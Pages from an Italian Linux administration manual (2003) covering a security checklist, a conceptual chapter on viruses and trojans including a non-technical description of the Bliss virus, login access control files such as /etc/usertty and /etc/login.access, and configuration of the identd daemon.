• Verifica della presenza del bitSticky nelle directory che sono accessibili in scritturada tutti gli utenti.

• Verifica del valore dellamaschera dei permessi riferita alla configurazione dell’utente‘ root ’ .

• Verifica dei permessi dei file di dispositivo.

Copie di sicurezza

• Copia di sicurezza completa (livello zero) ogni mese.

• Copia di sicurezza incrementale (livello uno) almeno ogni due settimane.

• Utilizzo di sistemi di memorizzazione WORM,2 come i CD-R, per le copie disicurezza di livello zero.

182.9 Riferimenti

• Kevin Fenzi,Linux Security HOWTO

<http://www.linux.org/docs/ldp/howto/HOWTO- INDEX/howtos.html>

• Dan Farmer, Wietse Venema,Improving the Security of Your Site by Breaking Into it, 1995

<http://www.fish.com/security/admin- guide- to- cracking.html>

• Christopher Klaus,Backdoors, 1997

<http://web.textfiles.com/hacking/backdoors.txt>

• Steven M. Bellovin,There Be Dragons, 1992

<http://www.research.att.com/~smb/papers/dragon.ps>

• David A. Curry,Improving the security of your UNIX systems, 1990

<http://www.alw.nih.gov/Security/Docs/unix- security.html>

• CERT (Computer Emergency Response Team) Coordination Center

<http://www.cert.org/>

• Mathematics and Computing Science Dept. of Eindhoven University of Technology (theNetherlands, Europe)

<ftp://ftp.porcupine.org/pub/security/>

Appunti di informatica libera 2003.01.01 ---Copyright© 2000-2003 Daniele Giacomini --daniele @ swlibero.org

2Un sistema di memorizzazione che consente la scrittura una volta sola e non permette la cancellazione successiva(salvo il caso della distruzione fisica).

Page 50: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

Capitolo 183Virus, vermi e cavalli di TroiaNello studio dei problemi di sicurezza legati all’uso di strumenti informatici, non vanno trascuratii virus e il software modificato ad arte per arrecare qualche tipo di danno. Lo scopo di questocapitolo è quello di fare comprendere il problema, pur senza poterlo risolvere in modo definitivo.

183.1 Classificazione

Di per sé, non è molto importante classificare il software che arreca danno in qualche modo,se non per il fatto che questo permette di avere una visione un po’ più chiara del problema.In generale si distinguono due tipi fondamentali: ivirus e i cavalli di Troia. Eventualmente siconsiderano anche ivermi, come sottogruppo particolare dei virus.

Il virus è un pezzo di codice in grado di riprodursi nel sistema, attaccandosi ai programmi giàesistenti, agliscript, sostituendosi al settore di avvio di un disco o di una partizione, inserendosiall’interno di file di dati che prevedono la presenza di macroistruzioni. Naturalmente, un virusnon è necessariamente in grado di fare tutto questo simultaneamente: dipende da chi lo realizzail modo in cui riuscirà a riprodursi.

Un cavallo di Troia, otrojan (troiano), è un programma che di per sé svolgerebbe una funzionepiù o meno utile, che però nasconde una parte di codice indesiderabile. Il classico cavallo diTroia è un gioco, che mentre viene utilizzato fa anche qualcosa di diverso, come cancellare deifile, oppure spedire all’esterno informazioni sulla configurazione del proprio sistema. Un cavallodi Troia potrebbe essere anche un programma normale che sia stato infettato ad arte con un virus,allo scopo di diffondere il virus stesso.

Il verme è un sottoinsieme specifico dei virus, il cui intento principale è quello di diffondersiattraverso la rete. Generalmente, anche se non sempre, il verme si cancella una volta che è riuscitoa copiarsi all’esterno.

183.2 Fidarsi o non fidarsi

Si comprende facilmente il senso di un cavallo di Troia. Come sempre vale la solita raccoman-dazione: «non accettare nulla -- caramelle o qualunque altra cosa -- dagli estranei». Infatti, unacaramella può essere avvelenata, un oggetto appuntito potrebbe essere stato infettato con qualchesostanza,1 così come un programma può essere stato alterato ad arte. Purtroppo, spesso non cisono alternative alla «fiducia», soprattutto quando il programma in questione è accessibile soloin forma di eseguibile senza sorgente.

Ad aggravare il problema, le normative di vari paesi vietano espressamente la decompilazione,cioè lo studio dei programmi a partire dalla loro forma eseguibile, cosa che rende difficile unaverifica a seguito dell’insorgere di un qualche sospetto. L’unica possibilità per salvaguardarsidi fronte a questo problema è l’uso di programmi provvisti di sorgente, verificati e compilatipersonalmente.2 Evidentemente non si tratta di una soluzione accessibile a tutti, sia per le capacitànecessarie, sia per il tempo che ciò richiede. Purtroppo, però, resta l’unica, se si vuole escluderela fiducia.

La fiducia, ammesso che ci sia, non basta, perché occorre verificare che il tale programma nonsia stato manomesso da una persona differente da quella di cui ci si fida. Infatti, un programmanormale potrebbe diventare un cavallo di Troia contenente un virus, o comunque contenere qual-cosa di aggiunto per qualche fine. Questa verifica può essere fatta attraverso l’uso di una firmaelettronica (si veda a questo proposito il capitolo195).

1Secondo una vecchia tradizione non si regalano spille e altri oggetti appuntiti con cui ci si può ferire.2Esiste anche software proprietario che viene messo a disposizione in forma sorgente.

2034

Page 51: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

Virus, vermi e cavalli di Troia 2035

183.3 Programmi imprevisti

Una volta compreso il pericolo legato ai programmi, che possono essere cavalli di Troia, oppurepossono contenere un virus, si può credere di avere risolto il problema se si evita di installarne dinuovi. Tuttavia, un «programma» può essere inserito anche all’interno di file di dati, nel momentoin cui questo può diventare unoscript o un insieme di macro-istruzioni di qualche tipo.

È nota l’esistenza di virus «macro», costituiti da macro-istruzioni contenute in documenti diprogrammi di scrittura o in fogli elettronici. Nello stesso modo non è da escludere la possibilitàdi acquisire un documentoTeX o anchePostScript contenente istruzioni che possono arrecare deidanni nel momento della composizione (si tratta di operazioni legate all’accesso alfile system).

Sotto questo aspetto, i problemi maggiori si avvertono quando i programmi di questo tipo posso-no essere inseriti in documenti a cui si accede attraverso la rete. Per esempio, una paginaHTMLpotrebbe incorporare unoscript Java,3 o peggio un programmaJava (leapplet). In questa si-tuazione, solo il programma di navigazione può impedire che venga fatto qualcosa di dannoso,ammesso che possa essere in grado di farlo. Generalmente, l’unica alternativa è impedire l’ese-cuzione discript e programmi esterni, accettando tutte le conseguenze che ciò comporta, datoche in questo modo diventa impossibile accedere ad alcuni servizi.

Un’ultima considerazione va fatta nei confronti dei programmi allegati a messaggi di posta elet-tronica. Nel momento in cui il programma di lettura della posta dovesse essere «troppo» ami-chevole, si potrebbe arrivare a estrarre e installare tali programmi, quasi senza rendersene conto.Sono noti gli attacchi di questo tipo che colpiscono inesorabilmente gli utenti più ingenui.

183.4 Limitare la diffusione di un virus

In linea di principio, non ci sono difese che tengano contro un virus o un cavallo di Troia rea-lizzati con perizia. Tuttavia, qualche accorgimento può essere utile, soprattutto se si ritiene cheil proprio sistema operativo di partenza sia abbastanza «sicuro» (cosa che comunque non si puòdimostrare). In generale valgono le solite raccomandazioni che si fanno in queste occasioni.

• Evitare di utilizzare software che non sia stato compilato personalmente, dopo un esa-me attento dei sorgenti, o comunque, evitare di utilizzare software compilato da personesconosciute e anche da persone conosciute per le quali non si può verificare l’autenticitàdell’origine.

• Evitare di abilitare l’esecuzione discript e programmi incorporati in documenti ottenutiattraverso la rete (fileHTML e posta elettronica principalmente).

• Evitare di usare il sistema in qualità di utente‘ root ’ quando non serve: un virus avrebbe iprivilegi necessari per infettare tutto il sistema, mentre un cavallo di Troia avrebbe accessoa tutti i file di dispositivo.

• Utilizzare un sistema di scansione realizzato appositamente per verificare le alterazioni neifile, comeAIDE e Tripwire (capitolo188).

3Teoricamente i fileHTML possono incorporare anche molti altri tipi discript, purché il navigatore sia poi in gradodi interpretarli.

Page 52: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

2036 Virus, vermi e cavalli di Troia

183.5 Bliss

Un sistema Unix è l’ideale per realizzare un virus con grande facilità. Non serve nemmeno essereprogrammatori; basterebbe appena sapere scrivere unoscript dishell.

Qui non si vuole e non si può mostrare un esempio pratico di virus del genere, perché la diffusionedi tali informazioni potrebbe invogliare le solite persone di poco conto a realizzarne dei propri.Tuttavia, la descrizione di massima del funzionamento di un virus reale può essere di aiuto percomprendere il problema.

Bliss è stato il primo virus realizzato specificatamente per i sistemi GNU/Linux, che comunquepotrebbe essere ricompilato facilmente per la maggior parte dei sistemi Unix. Le informazio-ni sul suo funzionamento sono state ottenute da un’analisi condotta da Ray Lehtiniemi, comedocumentato inBliss, a Linux "virus"di Axel Boldt.

Bliss si attacca ai file eseguibili (compresi gliscript) nella loro parte iniziale, aggiungendo incoda una stringa di riconoscimento (una firma, ovvero un’impronta virale). Quando si avvia unprogramma infettato in questo modo, in realtà si mette in funzione il virus, che fa le sue cose e poiestrae il file originale salvandolo temporaneamente in‘ /tmp/.bliss-tmp. pid’ (pid rappresentail numero del processo), da dove poi provvede a metterlo in funzione.

È da osservare che tutto è molto semplice, al contrario di tanti virus realizzati per sistemi Dose successivi, in cui si arriva ad alterare le istruzioni del codice eseguibile che viene infettato.

Bliss è evidentemente solo una dimostrazione di questo pericolo. Qui sono stati trascurati tantidettagli sul suo funzionamento che riguardano però lo scopo «pratico». Ma per comprenderecosa può fare un virus, basta solo un po’ di fantasia. Si intuisce facilmente il pericolo di un viruslatente, che non fa nulla di eclatante per mostrarsi, rimanendo in attesa di fare ciò per cui è statocreato e messo in circolazione.

183.6 Riferimenti

• Axel Boldt, Bliss, a Linux "virus"

<math- www.uni- paderborn.de/~axel/bliss/>

Appunti di informatica libera 2003.01.01 ---Copyright© 2000-2003 Daniele Giacomini --daniele @ swlibero.org

Page 53: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

Capitolo 184

Filtri di accesso standardIl primo punto su cui intervenire per affrontare i problemi di sicurezza di un sistema, è quello delfiltro di accesso. Questo compito è svolto fondamentalmente daLogin, che può essere configuratoin modo differente a seconda dell’organizzazione della propria distribuzione GNU.

184.1 Configurazione di Login

Il programma che si occupa di controllare chi accede attraverso una console o un terminale alsistema, ovveroLogin, potrebbe offrire qualche strumento minimo di configurazione per con-trollare gli accessi. In generale, la presenza del file‘ /etc/nologin ’ impedisce l’accesso e il file‘ /etc/securetty ’ stabilisce da quali terminali può accedere l’utente‘ root ’ .

Alcuni tipi di Login permettono di controllare l’accesso degli utenti comuni attraverso la con-figurazione del file‘ /etc/usertty ’ ; altri potrebbero utilizzare la configurazione di‘ /etc/

login.access ’ . Qui viene mostrato come si potrebbero utilizzare questi file, quando ilprogrammaLogin che si ha a disposizione ne prevede l’uso.

Per sapere esattamente come è organizzato il proprioLogin, è indispensabile leggere la suapagina di manuale,login(1), tenendo conto però, che potrebbe anche non essere aggiornata.

184.1.1 /etc/usertty

Attraverso il file ‘ /etc/usertty ’ è possibile limitare l’accesso degli utenti. Solitamente nonviene utilizzato e la sua mancanza consente a tutti gli utenti del sistema di accedere da do-ve vogliono, quando vogliono, a parte la restrizione che riguarda l’utente‘ root ’ in base allaconfigurazione del file‘ /etc/securetty ’ .

In linea di massima, se il programmaLogin è stato compilato in modo da utilizzarlo, il file‘ /etc/

usertty ’ permette di definire l’origine e la fascia oraria attraverso cui ogni utente può accedere.

Il file ‘ /etc/usertty ’ può contenere commenti, introdotti dal simbolo‘#’ e terminati dalla finedella riga; inoltre può contenere righe bianche o vuote, che vengono ignorate. Per il resto, ledirettive che può contenere sono raggruppate in tre sezioni possibili, denominate:‘CLASSES’ ,‘GROUPS’ e ‘USERS’ .

CLASSES| GROUPS| USERS

elemento origine......

Ognuna delle tre sezioni inizia con la parola chiave che la identifica, scritta con tutti i caratterimaiuscoli, come si vede dallo schema sintattico. Le righe seguenti, fino all’indicazione dellasezione successiva, rappresentano la definizione di elementi della sezione a cui si abbinano delleorigini. In pratica,

elemento origine...

serve a definire il nome di un elemento riferito alla sezione a cui appartiene, il quale consentel’accesso dalle origini indicate. Tra il nome e l’elenco di origini si possono utilizzare uno o piùspazi orizzontali (comprese le tabulazioni); l’elenco dei nomi è separato a sua volta attraversoaltri spazi orizzontali.

Un’origine, nel senso degli schemi sintattici mostrati, rappresenta un terminale o unnodo espressiin qualche modo, da cui l’utente che vi appartiene può accedere. L’origine può contenere anchel’indicazione di una fascia oraria in cui è consentito l’accesso.

2037

Page 54: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

2038 Filtri di accesso standard

La cosa migliore, per cominciare, è mostrare un esempio in cui appare l’uso di tutte le sezioni.

CLASSESterminale_console tty1 tty2 tty3 tty4 tty5 tty6elaboratore_locale @localhostrete_locale @.brot.dg @192.168.1.0/255.255.255.0

GROUPSstudenti rete_locale tty1prof terminale_console elaboratore_locale rete_locale

USERStizio tty1 tty2 tty3caio tty4 tty5 tty6* rete_locale

L’esempio mostra la sequenza normale nell’indicazione delle sezioni. La prima,‘CLASSES’ , per-mette di definire delle classi, ovvero dei nomi che possono essere richiamati nelle altre sezioni. Afianco di ogni nome di classe viene riportato l’elenco delle origini a cui queste fanno riferimento.Intuitivamente, si intende che la classe‘ terminale_console ’ rappresenta gli accessi prove-nienti da una console virtuale qualunque, da‘ /dev/tty1 ’ a ‘ /dev/tty6 ’ ; nello stesso modo sipuò comprendere che la classe‘ rete_locale ’ rappresenta tutti gli accessi provenienti danodiappartenenti al dominiobrot.dg o alla sottorete 192.168.1.* .

La sezione‘GROUPS’ permette di definire dei gruppi, secondo quanto riportato nel file‘ /etc/

group ’ , abbinando agli utenti relativi la possibilità di accedere attraverso origini determinate.Nell’esempio, gli utenti del gruppo‘studenti ’ possono accedere dagli accessi definiti dallaclasse‘ rete_locale ’ e anche dalla prima console (‘ /dev/tty1 ’).

La sezione‘USERS’ permette di definire l’accesso dei singoli utenti. Per esempio, l’utente‘ tizio ’ può accedere solo dalle prime tre console virtuali.

In generale, se un utente ricade all’interno della definizione di un elemento della sezione‘GROUPS’ e anche in uno della sezione‘USERS’ , le sue possibilità di accesso sono date dall’unionedelle due.

All’interno della sezione‘USERS’ può apparire un elemento speciale, l’asterisco (‘* ’), che rap-presenta qualsiasi utente. Seguendo l’esempio, oltre ai nominativi indicati esplicitamente, si fa inmodo che ogni utente possa accedere da qualunquenodo della rete locale.

A parte la comprensione intuitiva, le origini possono essere espresse in modi differenti, secondouno degli schemi seguenti.

classe

dispositivo_di_terminale

@.dominio

@numero_ipv4/ maschera

@localhost

Quanto mostrato rappresenta solo una prima approssimazione; in ogni caso, un’origine puòessere espressa da:

1. il nome di una classe definita precedentemente;

2. il nome del file di dispositivo del terminale corrispondente, togliendo il percorso‘ /dev/ ’ ;

3. un nome di dominio che rappresenta tutti inodi che gli appartengono;

4. l’indirizzo di una sottorete, composto dal numero IPv4 e dalla maschera relativa;

5. la sigla‘@localhost ’ che rappresenta un accesso proveniente dallo stesso sistema locale.

Page 55: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

Filtri di accesso standard 2039

Tuttavia, l’origine può contenere anche l’indicazione di una fascia oraria in cui quella tale originefisica (o logica) può avere accesso. Naturalmente, questo vale per tutti i casi visti, escluso leclassi, che in realtà servono per definire un gruppo di origini complete.

Una fascia oraria viene indicata davanti a un’origine di quelle elencate fino a questo punto e la sidistingue perché è racchiusa tra parentesi quadre. La fascia oraria può contenere l’indicazione diuno o più giorni della settimana e di uno o più intervalli orari. La fascia oraria è composta quindida un elenco di elementi, separati da due punti verticali (‘ : ’). Si osservi l’esempio seguente:

[mon:tue:wed:thu:fri:8-17:20]

L’esempio rappresenta una fascia oraria corrispondente all’intervallo dalle 8:00 alle 17:59 e dalle20:00 alle 20:59, di tutti i giorni da lunedì a venerdì. Intuitivamente si comprende che esisteun’approssimazione obbligata di un’ora per gli intervalli orari e che non è possibile indicareinformazioni sui giorni diversi da un ambito strettamente settimanale.

Una fascia oraria di questo tipo deve contenere almeno un’indicazione di un intervallo orario.

Per un esempio più completo, si osservi il pezzo seguente del file‘ /etc/usertty ’ che rappre-senta una sezione‘USERS’ . L’utente ‘ tizio ’ può accedere dalla prima console virtuale solo ilsabato e la domenica dalle 8:00 alle 22:59; poi può accedere anche dalle origini specificate dallaclasse‘ rete_locale ’ , dato che ciò è concesso indistintamente per tutti gli utenti.

USERStizio [sat:sun:8-22]tty1caio tty4 tty5 tty6* rete_locale

184.1.2 /etc/login.access

Il file ‘ /etc/login.access ’ svolge funzioni simili a‘ /etc/usertty ’ . Il suo scopo è quellodi definire chi può o non può accedere al sistema, in base all’origine da cui tenta di accedere. Adifferenza di‘ /etc/usertty ’ , non è possibile definire delle fasce orarie; ma per questo vienein aiuto il file di configurazione‘ /etc/porttime ’ .

Il file ‘ /etc/login.access ’ può contenere commenti, preceduti dal simbolo‘#’ , righe bianchee righe vuote. Per il resto si tratta di direttive in forma direcord composti da tre campi separatiattraverso il simbolo di due punti (‘ : ’). Si osservi lo schema sintattico seguente:

permesso: elenco_utenti: origini

Il primo campo può contenere solo i simboli‘+’ e ‘ - ’ , che indicano rispettivamente la concessioneo il rifiuto all’accesso.

+| -: elenco_utenti: origini

Le direttive vengono lette sequenzialmente nel momento in cui un utente tenta di accedere;la prima a cui corrisponde l’utente stesso, è quella che viene applicata. Se nessuna direttivacorrisponde, l’accesso viene concesso.

L’elenco degli utenti, è un elenco spaziato di nomi di utente o di gruppo. In generale, viene cer-cata prima la corrispondenza con il nome dell’utente e solo dopo si prova con il gruppo. Tuttavia,la corrispondenza con il gruppo avviene solo se l’utente in questione è aggregato esplicitamenteal gruppo stesso. Questo significa che se l’utente‘ tizio ’ è abbinato al gruppo‘ lavoro ’ , manel file ‘ /etc/group ’ questo non è indicato, l’utente in questione non verrà riconosciuto comeappartenente a tale gruppo.

Nel secondo campo può apparire anche la parola chiave‘ALL’ , ovvero un jolly che rappresentatutti gli utenti.

Page 56: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

2040 Filtri di accesso standard

Nel terzo campo si indicano le origini da cui potrebbero provenire i tentativi di accesso; anche inquesto caso si tratta di un elenco spaziato. Può trattarsi di:

• terminali locali, ovvero console virtuali, rappresentati dai nomi dei file di dispositivo senzal’indicazione del percorso (‘ tty1 ’ , ‘ tty2 ’ , ecc.);

• nomi di dominio completo o parziale (si riconoscono perché iniziano con un punto);

• indirizzi IP, che in tal caso devono terminare con un punto;

• nomi di domini NIS, che iniziano con il simbolo‘@’ .

Nel terzo campo possono apparire anche le parole chiave‘ALL’ e ‘LOCAL’ , che indicano rispetti-vamente tutte le origini, oppure solo le origini locali (ovvero qualunque stringa che non contengaun punto).

Viene mostrato un esempio descritto attraverso dei commenti:

# L’utente root può accedere solo da origini locali.+:root:LOCAL

# Gli utenti tizio, caio e semproni possono accedere dalle prime# sei console virtuali, dal nodo locale e anche da roggen.brot.dg.+:tizio caio semproni:tty1 tty2 tty3 tty4 tty5 tty6+:tizio caio semproni:localhost roggen.brot.dg

# Tutte le altre combinazioni di accesso non sono consentite.-:ALL:ALL

184.1.3 /etc/porttime

Il file di configurazione‘ /etc/porttime ’ completa le funzionalità di‘ /etc/login.access ’ .Il suo utilizzo effettivo dipende daLogin e probabilmente dalla configurazione attraverso‘ /etc/

login.defs ’ , descritto nel capitolo55.

Il file ‘ /etc/porttime ’ permette di definire delle combinazioni tra i terminali di accesso e itempi in cui gli utenti possono accedere. Il file può contenere commenti, preceduti dal simbolo‘#’ , righe bianche e righe vuote. Per il resto si tratta di direttive in forma direcord composti da trecampi separati attraverso il simbolo di due punti (‘ : ’). Si osservi lo schema sintattico seguente:

terminale[ , terminale] ...: utente[ , utente] ...: periodo[ , periodo] ...

I tre campi consentono l’indicazione di elenchi di elementi, separati attraverso una virgola. Ilprimo campo rappresenta il nome di uno o più terminali, così come sono identificati dai file didispositivo (senza il percorso); in particolare, per indicare tutti i terminali, si può usare l’asterisco.Il secondo campo è un elenco di utenti a cui si vuole applicare la direttiva; anche in questo casosi può usare l’asterisco per indicarli tutti. Il terzo campo indica i periodi di accesso, attraversouna stringa un po’ articolata:

sigle_giorni_settimanaora_inizio- ora_fine

I giorni della settimana si esprimono attraverso sigle particolari, come si vede nella tabella184.1;se necessario si possono unire più sigle assieme.

Page 57: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

Filtri di accesso standard 2041

Tabella 184.1. Elenco delle sigle utilizzabili per identificare i giorni della settimana.

Sigla SignificatoAl Tutti i giorni della settimana.Wk I giorni dal lunedì al venerdì.Mo Il lunedì.Tu Il martedì.We Il mercoledì.Th Il giovedì.Fr Il venerdì.Sa Il sabato.Su La domenica.

Gli orari si indicano con stringhe di quattro cifre numeriche, dove la prima coppia di cifrerappresenta l’ora e la seconda i minuti. Per esempio,

*:tizio,caio:Wk1630-2400

consente l’accesso da parte degli utenti‘ tizio ’ e ‘caio ’ tutti i giorni dal lunedì al venerdìdalle ore 16:30 alla mezzanotte. L’esempio seguente, invece, consente solo all’utente‘ root ’ diaccedere attraverso‘ /dev/console ’ , escludendo tutti gli altri utenti:

console:root:Al0000-2400console:*:

La prima direttiva per la quale si ottenga corrispondenza tra i primi due campi e l’utente chetenta di accedere, è quella che si applica. Se nel seguito ci fossero direttive più permissive,queste non verrebbero applicate.

L’esempio seguente esclude l’accesso di tutti gli utenti, incluso l’utente‘ root ’ , perché la secondadirettiva non viene presa in considerazione:

*:*:*:*:Al0000-2400

Infine, l’esempio seguente consente l’accesso all’utente‘ tizio ’ solo nei giorni di lunedì emartedì:

*:tizio:MoTu0000-2400

Per come è stato descritto, questo file di configurazione permette soltanto di impedire gli ac-cessi al di fuori degli orari stabiliti. Per imporre che siano rispettati i tempi, occorre il demone‘ logoutd ’ , descritto nellapagina di manualelogoutd(8), il cui scopo è di sorvegliare in tal senso,imponendo la chiusura delle connessioni quando queste superano gli orari previsti.

Appunti di informatica libera 2003.01.01 ---Copyright© 2000-2003 Daniele Giacomini --daniele @ swlibero.org

Page 58: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

Capitolo 185Protocollo IDENTIn quasi tutte le distribuzioni GNU, nella configurazione delsupervisore dei servizi di rete èprevista l’attivazione del servizio IDENT, corrispondente alla porta‘auth ’ (113). Nel caso diInetd, il file ‘ /etc/inetd.conf ’ potrebbe contenere una riga simile a quella seguente:

auth stream tcp nowait nobody /usr/sbin/in.identd in.identd -l -e -o

In alternativa, se il proprio sistema GNU è configurato diversamente, la riga in questione potrebbeessere più simile a quella seguente:

ident stream tcp nowait nobody /usr/sbin/identd identd -l -e -o

Il demone‘ identd ’ ha lo scopo di controllare i collegamenti per mezzo del protocollo TCP. Intal modo è in grado di informare ilnodo all’altro capo del collegamento sul nominativo-utente dichi esegue quel collegamento. Si osservi la figura185.1.

Figura 185.1. Il protocollo IDENT serve a fornire alla controparte le informazioninecessarie a identificare l’utente che ha in corso una connessione TCP particolare.

.-------------. porta 1108 porta 23 .-------------.| nodo A |--------------------------->| nodo B || identd in | Connessione TCP | || funzione |<--. | |‘-------------’ | ‘-------------’

| Protocollo IDENT |‘---------------------------’

«Chi è che ha attivato la connessione 23,1108?»

Seguendo l’esempio della figura, se un utente delnodo «A» ha iniziato una connessione TCP conil nodo «B» (in questo caso si tratta di TELNET), dalnodo «B» può essere richiesto alnodo «A»di fornire le informazioni sull’utente che esegue il processo responsabile del collegamento. Comesi vede, tale richiesta viene fatta usando il protocollo IDENT e la risposta può essere fornita solose l’origine gestisce tale servizio.

Fornire questo tipo di informazione è utile, al contrario di ciò che si potrebbe pensare, purché ildemone‘ identd ’ non sia stato compromesso e fornisca informazioni corrette. Se un utente di unsistema che fornisce il servizio IDENT, utilizzando il protocollo TCP, cercasse di aggredire unqualchenodo esterno, l’amministratore di questo potrebbe ottenere il nominativo-utente di questapersona attraverso il protocollo IDENT. Successivamente, tale amministratore avrebbe modo diessere più dettagliato nel riferire l’accaduto al suo collega del sistema da cui è originato l’attacco,a tutto vantaggio di questo ultimo amministratore.

185.1 Avvio del demone

Il demone‘ identd ’ 1 è in grado di fornire alla controparte di una connessione TCP il nominativo-utente del proprietario del processo che l’ha avviata.‘ identd ’ può fornire anche altre infor-mazioni, ma questo non rappresenta il suo scopo normale, che è invece quello di consentire ilmonitoraggio degli accessi da parte dei destinatari delle connessioni.2

/usr/sbin/in.identd [ opzioni]

È il caso di sottolineare che, per fornire esclusivamente le informazioni strettamente necessa-rie al raggiungimento di tale obiettivo, si utilizzano normalmente le opzioni‘ -l ’ , ‘ -e ’ , ‘ -o ’ edeventualmente si può valutare la possibilità di aggiungere anche‘ -n ’ .

1Netstd software libero con licenza speciale2Se la propria distribuzione GNU distingue un pacchetto specifico per il demone‘ identd ’ , questo potrebbe chiamarsi

Pidentd. In altri casi, potrebbe far parte del pacchetto di base per la gestione dei servizi di rete.

2042

Page 59: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

Protocollo IDENT 2043

‘ identd ’ è in grado di conoscere esclusivamente l’utente «reale» del processo. Per cui, un pro-cesso avviato con il bit SUID attivo otterrà i privilegi dell’utente proprietario del file binario,pertanto sarà questo utente a essere mostrato da‘ identd ’ .

Tabella 185.1. Alcune opzioni della riga di comando di ‘identd ’.

Opzione Descrizione

-b

Utilizzando l’opzione‘ -b ’ si permette l’avvio di‘ identd ’ inmodo indipendente dalsupervisore dei servizi di rete. In ge-nerale, si preferisce attivare il servizio IDENT attraverso ilsupervisore dei servizi di rete.Se viene utilizzata questa opzione, è necessario indicarne del-le altre per informare‘ identd ’ di una serie di cose che al-trimenti sono gestite dalsupervisore dei servizi di rete. Perconoscerle si può consultare lapagina di manualeidentd(8).

-l

Attiva la registrazione delle richieste IDENT nelregistro delsistema. Non si tratta della registrazione dei nomi degli utentiche si connettono, ma delle sole richieste fatte dainodi re-moti che chiedono «chiarimenti» sulle connessioni partite dalsistema locale verso di loro.

-oFa in modo che non venga rivelato il nome del sistemaoperativo. Al suo posto viene restituita la parola‘OTHER’ .

-e

Fa in modo di non specificare la motivazione degli errori. Sen-za questa opzione,‘ identd ’ potrebbe restituire informazionidel tipo: ‘NO-USER’ , ‘ INVALID-PORT ’ . Con questa opzione,l’unico messaggio di errore è‘UNKNOWN-ERROR’ .

-n

Utilizzando questa opzione, si fa in modo che‘ identd ’ nonfornisca il nome dell’utente proprietario del processo cheinstaura la connessione, restituendo al suo posto il numeroUID.

-N

Permette agli utenti di nascondersi attraverso la creazione diun file ‘~/.noident ’ . È chiaro che per gli scopi in cui èutile tale servizio, questa opzione non deve essere usata; di-versamente un aggressore che non vuole essere identificatopotrebbe bloccare facilmente‘ identd ’ .

L’esempio seguente rappresenta l’utilizzo normale di‘ identd ’ , attraverso la dichiarazione al-l’interno della configurazione delsupervisore dei servizi di rete; in questo caso il file‘ /etc/

inetd.conf ’ . Si può osservare l’uso delle opzioni‘ -l ’ , ‘ -e ’ e ‘ -o ’ , con cui si attiva l’anno-tazione nelregistro del sistema, si eliminano le informazioni sul sistema operativo e sul tipo dierrori commessi durante l’interrogazione del servizio.

# /etc/inetd.conf#...auth stream tcp nowait nobody /usr/sbin/in.identd in.identd -l -e -o

Si osservi l’assenza del richiamo alTCP wrapper, dal momento che questo servizio deveessere accessibile a tutti inodi e non solo a quelli che passano il filtro stabilito all’internodi ‘ /etc/hosts.allow ’ e ‘ /etc/hosts.deny ’ . Inoltre, il TCP wrapper non può essereutilizzato soprattutto perché esso stesso può essere configurato per interrogare l’origine di unarichiesta attraverso il protocollo IDENT, formando in tal caso un ciclo senza fine.

Page 60: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

2044 Protocollo IDENT

185.2 Interrogazione del servizio e librerie

A quanto pare manca unprogramma di servizio specifico per l’interrogazione del servizioIDENT; in pratica si deve utilizzare uncliente TELNET verso la porta 113 (denominata‘auth ’).

Il primo problema è quello di scoprire le porte della connessione che si intende verificare alla fon-te. Questo lo si fa con‘netstat ’ . A titolo di esempio, si immagina di essere nelnodo «B» delloschema mostrato nella figura185.1e di volere verificare l’origine di una connessione TELNETproveniente dalnodo «A» (proprio come mostrava la figura).

Prima di tutto, si deve scoprire che esiste una connessione TELNET (sospetta), cosa che avvieneattraverso la lettura dei messaggi delregistro del sistema. Purtroppo, se ilTCP wrapper non èconfigurato correttamente, potrebbe mancare l’indicazione delle porte utilizzate, costringendoad andare un po’ per tentativi. Si suppone che sia in corso attualmente un’unica connessione diquesto tipo, in tal caso la lettura del rapporto di‘netstat ’ non può generare equivoci.

$ netstat -n

Il rapporto potrebbe essere piuttosto lungo. Per quello che riguarda questo esempio, si potrebbenotare l’estratto seguente:Active Internet connections (w/o servers)Proto Recv-Q Send-Q Local Address Foreign Address State...tcp 0 0 192.168.254.1:23 192.168.1.1:1108 ESTABLISHED...

